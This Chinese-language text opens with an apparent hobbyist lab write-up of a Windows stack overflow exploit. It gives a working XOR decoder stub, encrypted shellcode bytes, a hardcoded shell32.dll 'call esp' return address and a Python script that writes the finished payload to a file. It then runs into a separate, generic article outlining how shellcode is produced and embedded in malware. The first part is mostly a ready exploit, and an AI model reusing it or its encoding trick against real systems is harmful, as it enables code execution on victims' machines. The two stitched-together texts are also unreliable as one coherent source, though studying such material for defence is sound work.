在进⾏异或操作时,key不能与原机器码中的数值⼀样,否则运算结束后会有0，⽽ 0 是字符串的结尾,不能做为输⼊字符在加密结束后,要检查输出的加密shellcode中是否有 0d(\r) 0a(\n)这样的字符这样的字符同样不能输⼊我试了⼤约20次不同的key才找到⼀个0x51可以使⽤,有时间我再把他改成⾃动挑选shellcode的代码吧...在放置shellcode的时候,我翻了⼀次车在上次实验中,shllcode⽐较⼩没问题可是这次shellcode⽐较⼤,⼤到了已经可以覆盖上⼀个函数栈帧的的eip了如果在按照左图的布局⽅式,会出现⼀些我⽬前还⽆法解释错误经过多次翻车后,我开始按照右图的布局⽅式来做为了减⼩shllcode的体积,增加shellcode的灵活性,建议以后也按照右图的⽅式布局(如果⽂中有错误的地⽅,请批评指正,谢谢!)先在栈中写⼀⼤⽚ nop 这样eip之后的jmp就可以不⽤控制的很精确也可以跳到shellcode只要 jmp 击中了 nop 就好了#shellcode 脱壳程序shellcode = "\x89\xe0" #mov eax,espshellcode += "\x05\xec\xfe\xff\xff"shellcode += "\x83\xC0\x1b" #ADD EAX,1b 使eax指向加密数据shellcode += "\x33\xC9" #XOR ECX,ECXshellcode += "\x8A\x1C\x08" #MOV BL,BYTE PTR DS:[EAX+ECX]shellcode += "\x80\xF3\x51" #XOR BL,51shellcode += "\x88\x1C\x08" #MOV BYTE PTR DS:[EAX+ECX],BLshellcode += "\x41" #INC ECXshellcode += "\x80\xFB\x90" #CMP BL,90Hshellcode += "\x75\xF1" #JNE#加了壳的真实shellcodeshellcode += "\xad\x39\x3b\x5b\x69\x4f\x39\x32\xd8\x80\x1e\x39\x63\x25\xc0\x5d"shellcode += "\xda\xa5\xdc\x2f\xa5\x62\x8a\xe6\x55\x7a\xb2\x37\xea\x62\x63\x02"shellcode += "\x39\x24\x22\x34\x23\x05\x62\x83\x35\xda\x0b\x61\xda\x1a\x5d\xda"shellcode += "\x18\x4d\xda\x58\xda\x38\x59\xfc\x6c\x3b\x5b\x69\x4f\x24\x54\xc4"shellcode += "\xae\x06\xa9\xc4\x31\xda\x14\x6d\xda\x1d\x54\x29\x52\x9c\xda\x08"shellcode += "\x71\x52\x8c\x62\xae\x16\xda\x65\xea\x52\xa4\xc8\x5e\xef\x57\x6b"shellcode += "\x95\x25\x59\x90\x9b\x56\x52\x81\x17\xba\xa0\x6a\x05\x75\x4d\x24"shellcode += "\xb5\xda\x08\x75\x52\x8c\x37\xda\x6d\x2a\xda\x08\x4d\x52\x8c\x52"shellcode += "\x7d\xea\xc4\x0e\xfa\x06\x30\x6c\x3b\x5b\x69\x4f\x24\xf8\x62\x8a"shellcode += "\x02\x39\x26\x34\x22\x25\x39\x37\x30\x38\x3d\xda\x95\x02\x01\x01"shellcode += "\x02\xae\x06\xad\x02\xae\x06\xa9\xc1"shellcode += '\x90'*0x50eip = '\x73\x15\xbf\x7d' #shell32.dll <call esp> 0x7dbf1573junk = '\x90' * (997-len(shellcode))jmp = "\xe9\xdf\xfe\xff\xff"#payloadpayload = junk + shellcode + eip + jmp#将payload写⼊到⽂件payload.txtfp = open("payload.txt","w")fp.write(payload)fp.close()print "[+]payload"mov eax,esp 后,eax为eip的下⼀个位置(jmp)这个地⽅在上段代码中 hex(len(shellcode)) 可以得到shellcode的长度然后 sub eax 这个长度就可以让eax 指向shellcode的开关sub eax,0x114 的机器码为 2D 14010000,我们的字符串中不能存在 \0 字符所以不能⽤减法了,改为加法add 0x114的补码就没有 \0 字符了esp 当前位置并不是在shellcode尾部,所以eax应该加0x11c的补码然后eax加上解密的shllcode的长度,指向加密的shllcode的数据我的shellcode解密出来最后⼀位是 \x90,遇到 \x90就向下运⾏如果解完密的shellcode与⾃⼰写的shllcode不⼀样,那就换⼀个key重新加密⼀次,数据可能在复制过程中发⽣了改变⼩建议:⽣成的字符串⽤winHex打开,可以获得最⼤的准确性。

shellcode生产原理

shellcode生产原理摘要：I.什么是ShellcodeA.Shellcode的定义B.Shellcode的作用II.Shellcode的生成原理A.什么是溢出B.Shellcode生成的基本过程C.常见的Shellcode类型III.Shellcode的应用领域A.漏洞利用B.恶意软件编写C.安全防护正文：I.什么是ShellcodeShellcode，又称壳码，是一段用于实现特定功能的二进制代码。

它通常被用作攻击者渗透目标系统的工具，可以嵌入到恶意软件中，以绕过目标系统的安全防护。

Shellcode的种类繁多，可以实现各种攻击目的，如提权、植入木马、窃取数据等。

B.Shellcode的作用Shellcode的主要作用是在目标系统上执行攻击者的恶意指令，从而达到控制目标系统的目的。

攻击者通过各种手段将Shellcode植入目标系统，如利用系统漏洞、社交工程等。

一旦Shellcode在目标系统上执行，攻击者就可以通过Shellcode实现对目标系统的完全控制。

II.Shellcode的生成原理A.什么是溢出在计算机领域，溢出是指当程序试图存储的数据超出其分配的内存空间时，发生的数据覆盖现象。

溢出通常发生在程序的输入验证不严格的情况下，攻击者通过构造恶意的输入数据，使得程序存储的数据超出预期，从而实现对程序的控制。

B.Shellcode生成的基本过程Shellcode的生成过程主要分为以下几个步骤：1.确定攻击目标：攻击者需要分析目标系统的漏洞，以确定可以利用的攻击方法。

2.编写攻击代码：根据目标漏洞，攻击者编写一段可以触发漏洞的攻击代码。

这段代码通常会包含一段溢出数据，用于覆盖目标系统的重要数据结构。

3.生成Shellcode：攻击者将攻击代码转换为二进制代码，并对其进行编码，以生成Shellcode。

4.嵌入Shellcode：攻击者将生成的Shellcode嵌入到恶意软件中，以实现对目标系统的攻击。